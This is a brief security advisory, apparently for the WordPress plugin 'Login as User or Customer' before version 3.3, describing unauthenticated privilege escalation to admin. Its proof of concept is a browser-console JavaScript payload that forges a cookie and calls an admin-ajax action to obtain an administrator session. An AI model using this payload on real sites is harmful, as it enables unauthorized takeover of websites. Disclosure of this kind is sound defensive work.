Login as User or Customer < 3.3 - Unauthenticated Privilege Escalation to Admin

The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.

PoC

Run the below command in the developer console of the web browser while being on the blog as an unauthenticated user, then reload the page to be logged in as the user with ID: document.cookie = “loginas_old_user_id=1”; fetch(“/wp-admin/admin-ajax.php?action=loginas_return_admin”, { “method”: “GET”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));